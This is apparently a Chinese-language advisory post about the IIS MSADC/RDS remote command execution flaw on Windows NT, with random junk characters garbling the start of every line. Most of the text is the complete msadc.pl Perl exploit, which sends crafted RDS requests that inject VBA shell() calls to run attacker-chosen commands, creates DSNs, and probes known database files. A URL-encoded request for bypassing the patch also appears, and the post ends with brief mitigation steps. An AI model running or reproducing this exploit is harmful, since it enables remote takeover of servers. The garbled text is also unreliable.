IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
)$Erfu *)2& gQ&%+ 涉及程序：
2JV,A Zf Microsoft NT server
6S~l gH: U# jbii6e 描述：
d`_X$P 4y 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
wjr1 ?c ]y3'6! 详细：
6uU2+I 如果你没有时间读详细内容的话，就删除:
TzCNY@y c:\Program Files\Common Files\System\Msadc\msadcs.dll
> 4zH\T! 有关的安全问题就没有了。
tWNz:V 6 n
2LG 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
%Q}T9%Mtj {hr+ENgV 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
"uz}`G~O 关于利用ODBC远程漏洞的描述，请参看:
?W % 9H\; 4mG?$kCN http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm oWZbfR9R =]OG5b_-Y 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
em87`Hj^lo http://www.microsoft.com/security/bulletins/MS99-025faq.asp O~r.sJ} +=5D t7/| 这里不再论述。
03 iD(,@ pN[G ?A 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
*}t,:N;i YlZe /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
]"3(UKx 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
/A U&
X 8( ^;h 2O! #'qEm=% #将下面这段保存为txt文件，然后: "perl -x 文件名"
`d H[&=S fE\;C bi #!perl
7PDz ]i #
A.!V*1h{ # MSADC/RDS 'usage' (aka exploit) script
Z2yZz:.' #
m)A~1+M$)L # by rain.forest.puppy
6$}hb|j #
(f^K\7HM # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
D (MolsKc? # beta test and find errors!
tFvc~zz9 AeqxH1 % use Socket; use Getopt::Std;
a'LM6A8~x getopts("e:vd:h:XR", \%args);
O\64)V
0 D Hkmn print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
\BT 8-} Rw$>()}H8 if (!defined $args{h} && !defined $args{R}) {
A9_)} print qq~
: QK )Ym Usage: msadc.pl -h <host> { -d <delay> -X -v }
KJ
Gh) -h <host> = host you want to scan (ip or domain)
vHY."$ |H -d <seconds> = delay between calls, default 1 second
By| y: -X = dump Index Server path table, if available
niZ/yW{w -v = verbose
\($EYhx -e = external dictionary file for step 5
sv<U$M~)X D8otU DB { Or a -R will resume a command session
':k j\$U tL?nO#Qx ~; exit;}
P
+U=/$o 7-nz'-' $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
CU3 [{a if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
}MK m>N if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
:I(-@2?{ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
,t4g^67R{ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
.".xNHR# if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
<<@vy{*Hg "(uEcS2< if (!defined $args{R}){ $ret = &has_msadc;
/n=
%# { die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
>gAq/'.Q ;~Eb Q print "Please type the NT commandline you want to run (cmd /c assumed):\n"
q' };.tv . "cmd /c ";
>b>3M' $in=<STDIN>; chomp $in;
Ol4 )*/oZ $command="cmd /c " . $in ;
rs$sAa*f ipB*]B F[ if (defined $args{R}) {&load; exit;}
w ( kN0HD %;UE y j print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
`3!ERQU &try_btcustmr;
YYDLFt r2 !b r0s(| print "\nStep 2: Trying to make our own DSN...";
[4:_6vd7X &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Ds|/\cI$%a "j5b$T0P> print "\nStep 3: Trying known DSNs...";
$ig%YB &known_dsn;
}
FcWzi OM!CP'u#{ print "\nStep 4: Trying known .mdbs...";
RsJj*REO &known_mdb;
Zfyr& ]" 0Y# S2ty if (defined $args{e}){
xX l^\?HC print "\nStep 5: Trying dictionary of DSN names...";
@&;y0N1xo
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
M9{?gM9
^|DI9G(Bs print "Sorry Charley...maybe next time?\n";
O/M\Q exit;
p:u?a, p kd9rvy0oK ##############################################################################
N%{&%C 6{ '`^<*;w sub sendraw { # ripped and modded from whisker
J2 _D P sleep($delay); # it's a DoS on the server! At least on mine...
X$w ,zb\ my ($pstr)=@_;
CK1Xdyf_S socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
iQ pKcBx die("Socket problems\n");
W!g'*L /#L if(connect(S,pack "SnA4x8",2,80,$target)){
]Lq9Ompf(t select(S); $|=1;
(l : ;p&[ print $pstr; my @in=<S>;
~JY<DW7 select(STDOUT); close(S);
9,y*kC return @in;
E!J;bX5 } else { die("Can't connect...\n"); }}
ou6|;*>d j;eR9jI$T ##############################################################################
R?g
qPi- /7 X:=~m sub make_header { # make the HTTP request
3e$&rpv my $msadc=<<EOT
S2/c2 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
:%q J AjR& User-Agent: ACTIVEDATA
?1 $.^ Host: $ip
GbG!vo Content-Length: $clen
jvn:W{'Q Connection: Keep-Alive
?}y?e}y*xZ Pb=J4Lvz(d ADCClientVersion:01.06
PNgj 8J4 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
y8jk 9Tv O$+J{@ --!ADM!ROX!YOUR!WORLD!
L}CjC>R! Content-Type: application/x-varg
:~B Y[") Content-Length: $reqlen
_
v\=ag W@jBX{k EOT
L !:} ; $msadc=~s/\n/\r\n/g;
nE)?P*$3 Z return $msadc;}
tn201TDZ]= :a(er' A ##############################################################################
>[B[Q_}) C0; c'4( sub make_req { # make the RDS request
%c)^8k;I my ($switch, $p1, $p2)=@_;
# (B <n my $req=""; my $t1, $t2, $query, $dsn;
dN
J2pfvv '"Q;54S** if ($switch==1){ # this is the btcustmr.mdb query
VqLqj$P $query="Select * from Customers where City=" . make_shell();
0m_c43+^ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
wN8-M e $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
<zH24[ ]cLO-A elsif ($switch==2){ # this is general make table query
WPiQ+(pt $query="create table AZZ (B int, C varchar(10))";
Im
i)YC $dsn="$p1";}
7HzO_u%H1 PX}YDC zP$ elsif ($switch==3){ # this is general exploit table query
EQXvEJ^ $query="select * from AZZ where C=" . make_shell();
5O<7<O B $dsn="$p1";}
Hrm^@3 LC)-aw> - elsif ($switch==4){ # attempt to hork file info from index server
J@w Q3#5a $query="select path from scope()";
&m_4# $dsn="Provider=MSIDXS;";}
uFNVV;~RFI TyVn5XHl^ elsif ($switch==5){ # bad query
Vr0-evwfo $query="select";
I|]~f[xI $dsn="$p1";}
W>+\ A" 8V@ /h6-e, $t1= make_unicode($query);
-bT1Qh
X $t2= make_unicode($dsn);
`)$'1, ]u $req = "\x02\x00\x03\x00";
#x! h
BS ! $req.= "\x08\x00" . pack ("S1", length($t1));
oA`' ~~! $req.= "\x00\x00" . $t1 ;
|GJSAs"L@ $req.= "\x08\x00" . pack ("S1", length($t2));
wB~Ag$~ $req.= "\x00\x00" . $t2 ;
'H- : >'k $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
:r* skV| return $req;}
Lgl%fO/<t `''\FPhh ##############################################################################
Xl^=&!S>me +@>K]hdr sub make_shell { # this makes the shell() statement
"pGSz%i- return "'|shell(\"$command\")|'";}
cX u "-/ V uZd ##############################################################################
uQgv ;jsPz
;L(2Ffk8 sub make_unicode { # quick little function to convert to unicode
O+hN?/>v my ($in)=@_; my $out;
Lq.aM.& ;# for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
-: ]_D bF return $out;}
mb_*FJB-_ nS'hd eoW ##############################################################################
H;5Fs KIF 60?/Z2w5 sub rdo_success { # checks for RDO return success (this is kludge)
Oo<L~7B my (@in) = @_; my $base=content_start(@in);
C,$$bmS = if($in[$base]=~/multipart\/mixed/){
v.Wkz9
w} return 1 if( $in[$base+10]=~/^\x09\x00/ );}
d*;wHA,}F return 0;}
V4kt&6 1 P 5/\*~} ##############################################################################
Kv3cK Nvu~ b`M 2VZu sub make_dsn { # this makes a DSN for us
Q@zD'G > my @drives=("c","d","e","f");
w+c%Y\: print "\nMaking DSN: ";
QEo
i9@3 foreach $drive (@drives) {
/~RY{ c@#L print "$drive: ";
rbfP6t:c3 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
;#a^M*e "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
}cUq1r-bW . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
wJ
0KI[p(S $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
q5<'pi return 0 if $2 eq "404"; # not found/doesn't exist
I 29aja if($2 eq "200") {
-'ff0l foreach $line (@results) {
Z_^i2eJYT return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
RJ+i~;- } return 0;}
.dqV fa
vV 5dW ##############################################################################
UbDRzum x,)|;HXm sub verify_exists {
V}c3}'_U] my ($page)=@_;
[Aqy%mbG my @results=sendraw("GET $page HTTP/1.0\n\n");
|T!ivd1G return $results[0];}
k0[b4cr` wB %:RI, ##############################################################################
PL*Mz(&bf -2Bkun4Pt sub try_btcustmr {
"N'|N., my @drives=("c","d","e","f");
ry^FJyjW my @dirs=("winnt","winnt35","winnt351","win","windows");
,+LX.f&/8! 9eG{"0) foreach $dir (@dirs) {
`v;9!ReZ V print "$dir -> "; # fun status so you can see progress
~MuD`a7#G foreach $drive (@drives) {
H?\ b print "$drive: "; # ditto
ddR*&.Y!a $reqlen=length( make_req(1,$drive,$dir) ) - 28;
oll J#i9 $reqlenlen=length( "$reqlen" );
~=xiMB;oH $clen= 206 + $reqlenlen + $reqlen;
uO=yQ& 6} b1*xQ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
'IVNqfC)u if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
&d5n_:^
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
^r4@C2#vzJ OPi><8 x ##############################################################################
_>:R]2Ew ,#
i@jB sub odbc_error {
Q&Q$;s3|Y my (@in)=@_; my $base;
(T &rvE my $base = content_start(@in);
1a _R 8 j if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
^?-SMcUHB $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
W Dr C $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
m I$< +S1! $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
k&oq6!ix return $in[$base+4].$in[$base+5].$in[$base+6];}
nw.,` M,N print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
WD`z\{hcom print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
q$#5>5& $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
]6)~Sj$ 5 8:D|[u;iG ##############################################################################
yaDK_fk H]zi>;D sub verbose {
whoM$ & my ($in)=@_;
. N:& {$o: return if !$verbose;
cu~dbv6H print STDOUT "\n$in\n";}
x-hr64WFK oSAO0h>0N ##############################################################################
!Eqp,"ts7 6!QY)H^j9, sub save {
/"q
wC my ($p1, $p2, $p3, $p4)=@_;
v|]1x2191 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
T6Oah:50EM print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
ft aGu-d% close OUT;}
Q/u2 Q;j> W##~gq Z/ ##############################################################################
Es7+bFvsE8 &"_5?7_N sub load {
XA1gV>SJ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_"4u?C# open(IN,"<rds.save") || die("Couldn't open rds.save\n");
+VE ]
.*T @p=<IN>; close(IN);
m|/q
o $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
< 2 mbR $target= inet_aton($ip) || die("inet_aton problems");
$;k2b4u print "Resuming to $ip ...";
t_Q\uo} $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
b23 5Zm if($p[1]==1) {
8lNkY`P7s $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
h<1pGQV $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
oh?@[U my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
1:.I0x! if (rdo_success(@results)){print "Success!\n";}
Z <Rhn else { print "failed\n"; verbose(odbc_error(@results));}}
Rr% CP[bH elsif ($p[1]==3){
g )L?C'BG if(run_query("$p[3]")){
bJW Pr print "Success!\n";} else { print "failed\n"; }}
79yF { elsif ($p[1]==4){
SJ%h.u@&@F if(run_query($drvst . "$p[3]")){
3$~oQC print "Success!\n"; } else { print "failed\n"; }}
4.t72*ML exit;}
i(9 5=t( DI )!x {" ##############################################################################
;WP%)Z O8mmS! sub create_table {
pWm==Ds| my ($in)=@_;
) 8 _ x $reqlen=length( make_req(2,$in,"") ) - 28;
23iMG]J& $reqlenlen=length( "$reqlen" );
\46
'j. $clen= 206 + $reqlenlen + $reqlen;
?c6`p3p3L my @results=sendraw(make_header() . make_req(2,$in,""));
@ dHQ}Ni return 1 if rdo_success(@results);
/>13?o# my $temp= odbc_error(@results); verbose($temp);
9sId2py]W return 1 if $temp=~/Table 'AZZ' already exists/;
5
A2u|UU return 0;}
,ozgnhZ Y u$MXO].Q ##############################################################################
P2t9RCH G@=H='
:~ sub known_dsn {
nX>HRdC # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
VZ1u/O?ub my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
ZR*Dl.GWY "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
vxt<}h5J/! "banner", "banners", "ads", "ADCDemo", "ADCTest");
>S[NI<=8S P: QSr8K foreach $dSn (@dsns) {
huTWoMU print ".";
\pwg8p[4Q next if (!is_access("DSN=$dSn"));
=}xH6^It if(create_table("DSN=$dSn")){
~/R bYvyA print "$dSn successful\n";
y7@q] ~% if(run_query("DSN=$dSn")){
z:JQ3D7/we print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
p
O O4fc print "Something's borked. Use verbose next time\n";}}} print "\n";}
T:|PSJc0 g?1 ! /+ ##############################################################################
?(2^lH~6h 6)# =@i`
\ sub is_access {
7@u:F?c my ($in)=@_;
bL 9XQ:$C $reqlen=length( make_req(5,$in,"") ) - 28;
8;q2W
F{AX $reqlenlen=length( "$reqlen" );
Y$K[@_dv= $clen= 206 + $reqlenlen + $reqlen;
ZGgM- O1 my @results=sendraw(make_header() . make_req(5,$in,""));
;UPI%DnE] my $temp= odbc_error(@results);
g7g ^iLU verbose($temp); return 1 if ($temp=~/Microsoft Access/);
qP4v H] return 0;}
%VsIg tjWf`#tH>H ##############################################################################
<
/\y<]b 6 JUjT]S% sub run_query {
h$U(1B my ($in)=@_;
2)^gd $reqlen=length( make_req(3,$in,"") ) - 28;
.{ -C* $reqlenlen=length( "$reqlen" );
=H)"t:xE $clen= 206 + $reqlenlen + $reqlen;
T^1]|P my @results=sendraw(make_header() . make_req(3,$in,""));
] IeyJ return 1 if rdo_success(@results);
*)82iD my $temp= odbc_error(@results); verbose($temp);
b.lK0 Xo return 0;}
Y-y<gW R\ZyS
)~l ##############################################################################
E,$5 V^
9 }N`m7PSf sub known_mdb {
vq;_x my @drives=("c","d","e","f","g");
Fo$'*(i my @dirs=("winnt","winnt35","winnt351","win","windows");
G~FAChI8![ my $dir, $drive, $mdb;
c_dg/ !Iu my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(I0QwB v#`7,:: # this is sparse, because I don't know of many
l/ :23\ my @sysmdbs=( "\\catroot\\icatalog.mdb",
TD6MP9L "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
'rSP@ "\\system32\\certmdb.mdb",
/^^wH W: "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
_7 P#?:h L.R4 iN my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
'A)r)z {X "\\cfusion\\cfapps\\forums\\forums_.mdb",
Di>B:= "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
KXvBJA$ "\\cfusion\\cfapps\\security\\realm_.mdb",
PH6NU&H "\\cfusion\\cfapps\\security\\data\\realm.mdb",
5A`T}~"X "\\cfusion\\database\\cfexamples.mdb",
WB(Gx_o3 "\\cfusion\\database\\cfsnippets.mdb",
SQ0t28N3h "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
f>kW\uC "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
oJ`cefcWo "\\cfusion\\brighttiger\\database\\cleam.mdb",
Nub)]S>_/t "\\cfusion\\database\\smpolicy.mdb",
8AQ@?\Rc"2 "\\cfusion\\database\cypress.mdb",
wbA<G&h~ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
,[{Z_co "\\website\\cgi-win\\dbsample.mdb",
f'Cx % "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
3S h#7"K3 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Kh , zp{ ); #these are just
o'auCa,N foreach $drive (@drives) {
ed:[^#Lj foreach $dir (@dirs){
lJ$j[Y foreach $mdb (@sysmdbs) {
"o6a{KY( print ".";
M,(UCyT if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
}[c ,/NH print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
9W +RUh^W if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
f\]splL print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
RZrQ^tI3" } else { print "Something's borked. Use verbose next time\n"; }}}}}
/@`kM'1:
WO<a^g
{ foreach $drive (@drives) {
Ka| ,
qkb foreach $mdb (@mdbs) {
ro`2IE> print ".";
T=D|jt if(create_table($drv . $drive . $dir . $mdb)){
bz4TbGg] print "\n" . $drive . $dir . $mdb . " successful\n";
JK_( !
if(run_query($drv . $drive . $dir . $mdb)){
?D8 +wj print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
D/x!`&. sN } else { print "Something's borked. Use verbose next time\n"; }}}}
M# a1ev }
Iy JHKDFk "B"Yf g[ ##############################################################################
lS!uL9t. :,[=g$CT: sub hork_idx {
TOC2[m c' print "\nAttempting to dump Index Server tables...\n";
'#P g:v_ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
N:nhS3N<L $reqlen=length( make_req(4,"","") ) - 28;
~P;KO40K $reqlenlen=length( "$reqlen" );
k/]4L!/ T $clen= 206 + $reqlenlen + $reqlen;
66 @#V my @results=sendraw2(make_header() . make_req(4,"",""));
H4 {C iZ if (rdo_success(@results)){
tQSJ"Q my $max=@results; my $c; my %d;
}?KfL$@$ for($c=19; $c<$max; $c++){
Lw_s'QNWR $results[$c]=~s/\x00//g;
PbpnjvVr M $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
6L}}3b h $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
.m/$ku{/J $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
CYFi_6MFl $d{"$1$2"}="";}
?vn9HhT D foreach $c (keys %d){ print "$c\n"; }
bjCO@t } else {print "Index server doesn't seem to be installed.\n"; }}
TcEvUZJ" !${7 )=|=1 ##############################################################################
mA2L~=v# pB0p?D)n sub dsn_dict {
l+HF+v $ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
"J ( 0J while(<IN>){
Nt'6Y;m! $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
(u :^4,Z next if (!is_access("DSN=$dSn"));
vj,OX~| if(create_table("DSN=$dSn")){
RJhafUJ zH print "$dSn successful\n";
]q pLaBD if(run_query("DSN=$dSn")){
INjr$'* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Q!*}^W print "Something's borked. Use verbose next time\n";}}}
{Uj-x
- print "\n"; close(IN);}
::`#qa4! n> tru L ##############################################################################
?_V&~?r "kS!rJ[ sub sendraw2 { # ripped and modded from whisker
8gn12._x sleep($delay); # it's a DoS on the server! At least on mine...
Vl\8*!OL% my ($pstr)=@_;
cN 3 !wE socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
xP+`scv*m# die("Socket problems\n");
hb ="J349 if(connect(S,pack "SnA4x8",2,80,$target)){
bo|3sN+D print "Connected. Getting data";
v1O 1-aM open(OUT,">raw.out"); my @in;
0(|Yy/Yq select(S); $|=1; print $pstr;
*'to#_n&W
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
JEh (A=Eu> close(OUT); select(STDOUT); close(S); return @in;
"zZ Z h } else { die("Can't connect...\n"); }}
h
]6: `5- NXHe;G ##############################################################################
RIdh],- e%_J
O 7 sub content_start { # this will take in the server headers
/nWBo l, my (@in)=@_; my $c;
vN9R. R for ($c=1;$c<500;$c++) {
i@m@]-2 if($in[$c] =~/^\x0d\x0a/){
[JVEKc ym if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Aw$+Ew[8 2 else { return $c+1; }}}
yQ!I`T>a return -1;} # it should never get here actually
L+.&e4f'oj 8vqx}2 ##############################################################################
oH=' \M%+ Rn$[P. || sub funky {
zv bO
q my (@in)=@_; my $error=odbc_error(@in);
[nASMKK0 if($error=~/ADO could not find the specified provider/){
lc[)O3,,B print "\nServer returned an ADO miscofiguration message\nAborting.\n";
IhjZ{oV/@ exit;}
B",;z)(% if($error=~/A Handler is required/){
K1$
print "\nServer has custom handler filters (they most likely are patched)\n";
y| /[; exit;}
'\M]$`Et if($error=~/specified Handler has denied Access/){
\,S4-~(:! print "\nServer has custom handler filters (they most likely are patched)\n";
6,cJ3~!48 exit;}}
4$+1&+@ ] M;LR$'c P ##############################################################################
VVJI J9L&C >@)p*y.K sub has_msadc {
P W_"JZ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
C2 {*m{
D my $base=content_start(@results);
FBxg^g%PB@ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
> JC"YB return 0;}
6T s[NXa A <_{7F9 ########################
\ `;1[m I(H9 -!& {l"(EeW6) 解决方案：
0`V;; w8 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
hg2Ywzfm- 2、移除web 目录: /msadc
